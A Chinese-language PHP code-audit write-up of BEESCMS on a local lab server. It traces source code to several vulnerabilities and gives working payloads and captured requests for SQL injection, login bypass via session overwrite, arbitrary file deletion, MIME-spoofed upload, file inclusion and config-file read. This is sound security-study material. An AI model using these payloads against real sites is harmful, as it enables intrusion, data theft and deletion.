作者准备学习php代码审计和java代码审计,所以审计一些经典易上手的cms,并将过程记录下来。
官网下载源码并使用phpstudy安装搭建
先看一下cnvd有哪些已经交的漏洞
文件上传,注入,包含,越权,文件读取,代码执行,csrf,文件删除,还是挺多漏洞的。
配置文件在/data/confing.php
访问http://192.168.43.199/admin/login.php
用户名这里输入admin'会报错,如果挂xray被动扫描的话能扫出注入,手动测试也可以看出。
白盒审计一下
找到登录处的代码 /admin/login.php
if($action=='login'){
global $_sys;
include('template/admin_login.php');
}
//判断登录
elseif($action=='ck_login'){
global $submit,$user,$password,$_sys,$code;
$submit=$_POST['submit'];
$user=fl_html(fl_value($_POST['user']));
$password=fl_html(fl_value($_POST['password']));
$code=$_POST['code'];
if(!isset($submit)){
msg('请从登陆页面进入');
}
if(empty($user)||empty($password)){
msg("密码或用户名不能为空");
}
if(!empty($_sys['safe_open'])){
foreach($_sys['safe_open'] as $k=>$v){
if($v=='3'){
if($code!=$s_code){msg("验证码不正确!");}
}
}
}
check_login($user,$password);
}
user处使用fl_value和fl_html方法,跟进看一下有什么作用
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}
fl_value是将我们传入的user值进行一个匹配,匹配到的话替换为空,这里只是匹配的话,我们可以使用双写绕过 seselectlect a and nd 这样的方式,或者大小写绕过
再看fl_html方法,是将我们输入的值进行html实体化编码,htmlspecialchars默认编码双引号,那我们使用单引号或者hex编码就好
来跟进check_login($user,$password) 这个方法
function check_login($user,$password){
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");
$rel=empty($rel)?'':$rel[0];
if(empty($rel)){
msg('不存在该管理用户','login.php');
}
$password=md5($password);
if($password!=$rel['admin_password']){
msg("输入的密码不正确");
}
if($rel['is_disable']){
msg('该账号已经被锁定,无法登陆');
}
$_SESSION['admin']=$rel['admin_name'];
$_SESSION['admin_purview']=$rel['admin_purview'];
$_SESSION['admin_id']=$rel['id'];
$_SESSION['admin_time']=time();
$_SESSION['login_in']=1;
$_SESSION['login_time']=time();
$ip=fl_value(get_ip());
$ip=fl_html($ip);
$_SESSION['admin_ip']=$ip;
unset($rel);
header("location:admin.php");
}
直接将获取来的user值拼接到sql语句中查询,跟进一下fetch_asc
function fetch_asc($sql){
$result=$this->query($sql);
$arr=array();
while($rows=mysql_fetch_assoc($result)){
$arr[]=$rows;
}
mysql_free_result($result);
return $arr;
}
进行sql查询操作,跟进query函数
function query($sql){
if([email protected]_query($sql,$this->link)){
err('操作数据库失败'.mysql_error()."<br>sql:{$sql}","javascript:history.go(-1);");
}
return $res;
}
mysql进行查询,如果报错的话贴心的输出错误内容,这样就导致报错注入的产生,构造payload
admin'a and nd updatexml(1,concat(0x7e,(seselectlect database()),0x7e),1)#
当然也能写入文件getshell,网上有分析
首先看beescms后台登录的验证代码
admin/login
跟进is_login()
function is_login(){
if($_SESSION['login_in']==1&&$_SESSION['admin']){
if(time()-$_SESSION['login_time']>3600){
login_out();
}else{
$_SESSION['login_time']=time();
@session_regenerate_id();
}
return 1;
}else{
$_SESSION['admin']='';
$_SESSION['admin_purview']='';
$_SESSION['admin_id']='';
$_SESSION['admin_time']='';
$_SESSION['login_in']='';
$_SESSION['login_time']='';
$_SESSION['admin_ip']='';
return 0;
}
}
判断session中login_in是否为1并且有admin参数的传入,然后login_time>3600 的话,就算是登录了
正常情况是无法控制session的,但是分析发现很多文件都引入了includes/init.php
includes/init.php
session_start();
if (isset($_REQUEST)){$_REQUEST = fl_value($_REQUEST);}
$_COOKIE = fl_value($_COOKIE);
$_GET = fl_value($_GET);
@extract($_POST);
@extract($_GET);
@extract($_COOKIE);
这里先来补充extract()的知识
PHP extract() 函数是从数组中把变量导入到当前的符号表中。 定义和用法 对于数组中的每个元素,键名用于变量名,键值用于变量值。
先设置了session_start(),创建会话。判断是否有输入来设置了cookie,fl_value进行一些简单的过滤,使用request设置cookie,$_GET = fl_value($_GET);来过滤get请求的内容,但是没有过滤post请求,后面还都通过@extract()来引入变量,进行变量的覆盖操作,那么这样就可以post方法传递session。二者配合构造session来绕过登录限制
访问http://192.168.43.199/index.php
post传递值
_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=8888888888888
之后访问admin/admin.php
这里发现login_time需要设置超级大的时间,要不然会显示成功退出,而且session这样的键值对需要写成_SESSION[login_in]=1 如果SESSION['login_in']=1是不行的,单引号不能加
审计sql注入之前我们先看一下这句话
addslashes 在单引号(')、双引号(")、反斜线(\)与 NUL前加上反斜线 可用于防止SQL注入
mysqli::real_escape_string mysqli::escape_string mysqli_real_escape_string mysql_real_escape_string SQLite3::escapeString
以上函数会在\x00(NULL), \n, \r, , ', " 和 \x1a (CTRL-Z)前加上反斜线\ 并考虑了当前数据库连接字符集进行处理
注意: 经过以上函数处理后的字符串不可直接用于sql查询拼接 需要使用引号包裹后拼接到sql语句中 否则仍可导致sql注入
例如 上文中的例子 攻击者输入并没有使用到引号反斜线 逗号可使用其他方法绕过 仍可构成SQL注入
就是说过滤时候要使用引号包裹,要不然比如直接报错语句,也不需要用到引号
我们来看一下全局的过滤
if (!get_magic_quotes_gpc())
{
if (isset($_REQUEST))
{
$_REQUEST = addsl($_REQUEST);
}
$_COOKIE = addsl($_COOKIE);
$_POST = addsl($_POST);
$_GET = addsl($_GET);
}
接收参数,我们跟进addsl()
function addsl($value)
{
if (empty($value))
{
return $value;
}
else
{
return is_array($value) ? array_map('addsl', $value) : addslashes($value);
}
}
对于接收的参数使用addslashes()来给特殊符号加'\',但是没有使用引号包裹,这很有问题。
来看admin_ajax.php
elseif($action=='order'){
$table=$_REQUEST['table'];
$field = $_REQUEST['field'];
$id = intval($_REQUEST['id']);
$sql="update ".DB_PRE."{$table} set {$field}=".intval($value)." where id={$id}";
$GLOBALS['mysql']->query($sql);
//更新缓存
if($table=="lang"){
$sql="select*from ".DB_PRE."{$table} order by {$field} desc";
$rel=$GLOBALS['mysql']->fetch_asc($sql);
$cache_file=DATA_PATH.'cache/lang_cache.php';
$str="<?php\n\$lang_cache=".var_export($rel,true).";\n?>";
}elseif($table=="channel"){
$sql="select*from ".DB_PRE."{$table} order by {$field} desc";
$rel=$GLOBALS['mysql']->fetch_asc($sql);
$cache_file=DATA_PATH.'cache_channel/cache_channel_all.php';
$str="<?php\n\$channel=".var_export($rel,true).";\n?>";
}
creat_inc($cache_file,$str);
}
这里sql语句执行update操作,但是未对field这个传入的变量进行校验,除了addsl()在特殊符号前加'\'
那么我们可以构造
/admin/admin_ajax.php?action=order&table=1&field=aaa=111 or updatexml(1,concat(0x23,database()),1)--+
可以看到报错语句,那继续修改一下table,既然table选admin表,在admin表找一个不重要的字段
/admin/admin_ajax.php?action=order&table=admin&field=admin_mail=111 or updatexml(1,concat(0x23,database()),1)--+
好了
输入
http://192.168.43.199/admin/admin_ajax.php?action=order&table=admin&field=admin_mail=111 or updatexml(1,concat(0x23,database()),1)--+
elseif($action=='del_pic'){
$file=CMS_PATH.'upload/'.$value;
@unlink($file);
die("图片成功删除");
}
看代码的时候发现了这段,上面的value值通过$value=$_REQUEST['value']; 来传入,那我一想,value可控,通过目录穿越,可以删除任意文件
构造payload
/admin/admin_ajax.php?action=del_pic&value=../1.txt
成功删除根目录下自己创建的1.txt文件
elseif($action=='del'){
$id=$_GET['id'];
if(empty($id)){die("<script type=\"text/javascript\">alert('参数发生错误,请重新操作');history.go(-1);</script>");}
$sql="delete from ".DB_PRE."book where id=".$id;
$mysql->query($sql);
msg('删除完成','?lang='.$lang.'&nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
}
id传值未作任何校验,直接构造
/admin/admin_book.php?action=del&id=11 or updatexml(1,concat(0x23,database()),1)--+
下面的这个批量删除同样有问题
elseif($action=='del_all'){
$id=$_POST['all'];
if(empty($id)){msg('请选择需要删除的内容','?lang='.$lang);}
foreach($id as $k=>$v){
$sql="delete from ".DB_PRE."book where id=".$v;
$mysql->query($sql);
}
msg("所选内容已经删除",'?lang='.$lang.'&nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
}
echo PW;
?>
没能成功构造,所以只能找功能点抓一下包了
POST /admin/admin_book.php?action=del_all&lang=cn HTTP/1.1
Host: 192.168.43.199
Content-Length: 35
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.43.199
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.43.199/admin/admin_book.php?lang=cn&nav=main&admin_p_nav=main_info
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_82116c626a8d504a5c0675073362ef6f=1665985067,1665986438,1666232452,1666239551; remember-me=YWRtaW46MTY3MjA0ODk0MzM1NDpkNWRmYWY2Y2RhZDBjOTBkZWQxZjVkOTA0YjA0M2U2MA; PHPSESSID=1mtd8re62d8ppi72aa3bf5b144
Connection: close
all%5B%5D=0&all%5B%5D=1&id=&lang=cn
抓到的包如下,我们修改all%5B%5D=1 or updatexml(1,concat(0x23,database()),1)--+
不抓包的话我根本不知道还有个lang参数
if($step==3){
if(file_exists(DATA_PATH.'cache_channel/news_arr.php')){include(DATA_PATH.'cache_channel/news_arr.php');}
$news_id=empty($news)?'':array_shift($news);
$str="<?php\n\$news=".var_export($news,true).";\n?>";
cache_write(DATA_PATH.'cache_channel/news_arr.php',$str);
if(!empty($news_id)){
$addtime_rel=explode('-',$news_id['addtime']);
$fl=CMS_PATH.'htm/'.$news_id['cate_fold_name'].'/'.$addtime_rel[0].'/'.$addtime_rel[1].$addtime_rel[2].'/'.$news_id['id'].'.html';
if(file_exists($fl)){@unlink($fl);}
if(!empty($news_id['id'])){
$GLOBALS['mysql']->query("delete from ".DB_PRE."maintb where id=".$news_id['id']);
}
if(!empty($news_id['id'])&&!empty($news_id['table'])){
$GLOBALS['mysql']->query("delete from ".DB_PRE.$news_id['table']." where id=".$news_id['id']);
}
show_htm("已经删除栏目【{$news_id['cate_name']}】下的文章【{$news_id['title']}】",'?action=del_channel&step=3&id='.$id.'&cate_id='.$cate_id.'&tb='.$tb.'&nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
}else{
$GLOBALS['mysql']->query("delete from ".DB_PRE."category where cate_parent=".$cate_id);
$GLOBALS['mysql']->query("delete from ".DB_PRE."category where id=".$cate_id);
$GLOBALS['cache']->cache_category_all();
show_htm("已经删除栏目($cate_id)",'?action=del_channel&step=2&id='.$id.'&tb='.$tb.'&nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
}
}
}
elseif($action=='del_channel'){
if(!check_purview('pannel_del')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
$step = $_GET['step'];
$id = intval($_GET['id']);
$tb = $_GET['tb'];
$cate_id = $_GET['cate_id'];
//初始化
if($step==1){
if(!isset($id)||empty($id)){msg('<span style="color:red">参数传递错误,请重新操作</span>');}
if(file_exists(DATA_PATH."cache_channel/cache_channel_all.php")){
include(DATA_PATH."cache_channel/cache_channel_all.php");
}
if(empty($channel)){
msg('<span style="color:red">请先更新模型缓存</span>','admin_channel.php');
}
foreach($channel as $key=>$value){
if($value['id']==$id){
$table=$value['channel_table'];
}
}
上面传入$cate_id = $_GET['cate_id']; 这个cate_id,然后下面query("delete from ".DB_PRE."category where cate_parent=".$cate_id)
我们直接构造
/admin/admin_channel.php?action=del_channel&step=3
发现报错
拼接我们可控的cate_id
/admin/admin_channel.php?action=del_channel&step=3&cate_id=111 or updatexml(1,concat(0x23,database()),1)--+
elseif($action=='child'){
if(!check_purview('cate_create')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
$channel_id=intval($_GET['channel_id']);
if(empty($channel_id)){err('<span style="color:red">参数传递错误,请重新操作</span>');}
if(!empty($channel)){
foreach($channel as $k=>$v){
if($v['id']==$channel_id){
$mark=$v['channel_mark'];
}
}
}
$sql="select cate_name from ".DB_PRE."category where id=".$parent;
$rel=$GLOBALS['mysql']->fetch_asc($sql);
include('template/admin_category_child.php');
}
观察parent从哪里传入
直接最上面全局传入
构造
全局搜索move_uploaded_file()
function up_img($file,$size,$type,$thumb=0,$thumb_width='',$thumb_height='',$logo=1,$pic_alt=''){
if(file_exists(DATA_PATH.'sys_info.php')){include(DATA_PATH.'sys_info.php');}
if(is_uploaded_file($file['tmp_name'])){
if($file['size']>$size){
msg('图片超过'.$size.'大小');
}
$pic_name=pathinfo($file['name']);//图片信息
$file_type=$file['type'];
if(!in_array(strtolower($file_type),$type)){
msg('上传图片格式不正确');
}
$path_name="upload/img/";
$path=CMS_PATH.$path_name;
if(!file_exists($path)){
@mkdir($path);
}
发现上传函数up_img只对文件类型做了校验,之后就进行上传
if(!move_uploaded_file($file['tmp_name'],$file_name)){
msg('图片上传失败','',0);
}
那么file_type这个字段是MIME类型,我们抓包可以修改,所有此处文件上传存在问题,看一下谁调用了这个方法
admin/upload.php处的上传,限定mime类型为这几种
$value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);
这里只需要上传时修改mime类型就行
成功上传。
seay审计
elseif($action=='save_backup')
{
if(!check_purview('field_del')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
$channel_id = intval($_POST['channel_id']);
if(empty($channel_id))
{
msg('参数发生错误!请重新操作!');
}
//判断是否存在文件
$file_name = $_POST['file_name'];
if(empty($file_name))
{
msg('文件名不能为空!');
}
$file_path = DATA_PATH.'backup/'.$file_name.'.php';
if(!file_exists($file_path))
{
msg('不存在导入文件,请检查data/backup目录下是否存在文件');
}
include($file_path);
//获取模型表
if(file_exists(DATA_PATH."cache_channel/cache_channel_all.php"))
{
include(DATA_PATH."cache_channel/cache_channel_all.php");
}
foreach($channel as $key=>$value){
if($value['id']==$channel_id){
$table=$value['channel_table'];
}
}
看了一下就是post传递文件名,如果在/data/backup下面有这个文件,就进行包含,测试发现可以目录穿越,那么就可以包含任意php文件。
我并没有直接构造,而是查找漏洞的触发点在哪
发现在admin_channel.php-导入字段这里就是backup,需要我们输入路径,然后我在上级目录写了一个phpinfo.php文件,通过../phpinfo这样的方式来包含
成功显示phpinfo页面
数据包
POST /admin/admin_channel.php?nav=main&admin_p_nav=main_info HTTP/1.1
Host: 192.168.43.199
Content-Length: 451
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.43.199
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNWR0jlaZX9FTIQOO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.43.199/admin/admin_channel.php?action=backup&id=2&nav=main&admin_p_nav=main_info
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_82116c626a8d504a5c0675073362ef6f=1665985067,1665986438,1666232452,1666239551; remember-me=YWRtaW46MTY3MjA0ODk0MzM1NDpkNWRmYWY2Y2RhZDBjOTBkZWQxZjVkOTA0YjA0M2U2MA; PHPSESSID=gjb8ujuvq0k4hi0842cs8bi9u7
Connection: close
------WebKitFormBoundaryNWR0jlaZX9FTIQOO
Content-Disposition: form-data; name="file_name"
../phpinfo
------WebKitFormBoundaryNWR0jlaZX9FTIQOO
Content-Disposition: form-data; name="channel_id"
2
------WebKitFormBoundaryNWR0jlaZX9FTIQOO
Content-Disposition: form-data; name="action"
save_backup
------WebKitFormBoundaryNWR0jlaZX9FTIQOO
Content-Disposition: form-data; name="submit"
确定
------WebKitFormBoundaryNWR0jlaZX9FTIQOO--
elseif($action=='xg'){
if(!check_purview('tpl_manage')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
$file = $_GET['file'];
$path=CMS_PATH.$file;
if([email protected]($path,'r+')){err('<span style="color:red">模板打开失败,请确定【'.$file.'】模板是否存在</span>');}
flock($fp,LOCK_EX);
[email protected]($fp,filesize($path));
$str = str_replace("&","&",$str);
$str= str_replace(array("'",'"',"<",">"),array("'",""","<",">"),$str);
flock($fp,LOCK_UN);
fclose($fp);
include('template/admin_template_xg.php');
}
发现模板修改界面的路径是接收file参数,如果存在的话就读取。来找一下这个功能点
点击修改
发现找对地方了,在修改处抓包
将file的值构造成我们想要读取的文件
GET /admin/admin_template.php?action=xg&nav=main&admin_p_nav=main_info&lang=cn&file=template/default/%2e%2e/%2e%2e/data/confing.php HTTP/1.1
Host: 192.168.43.199
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.43.199/admin/admin_template.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_82116c626a8d504a5c0675073362ef6f=1665985067,1665986438,1666232452,1666239551; remember-me=YWRtaW46MTY3MjA0ODk0MzM1NDpkNWRmYWY2Y2RhZDBjOTBkZWQxZjVkOTA0YjA0M2U2MA; PHPSESSID=v00796a3a27mt5ov29e5ef3sd7
Connection: close
成功读取数据库配置文件
参考网上的文章和自己分析代码审计出了目前的这些漏洞,其它漏洞还没审计出来,如果有更多好的思路欢迎师傅们来讨论交流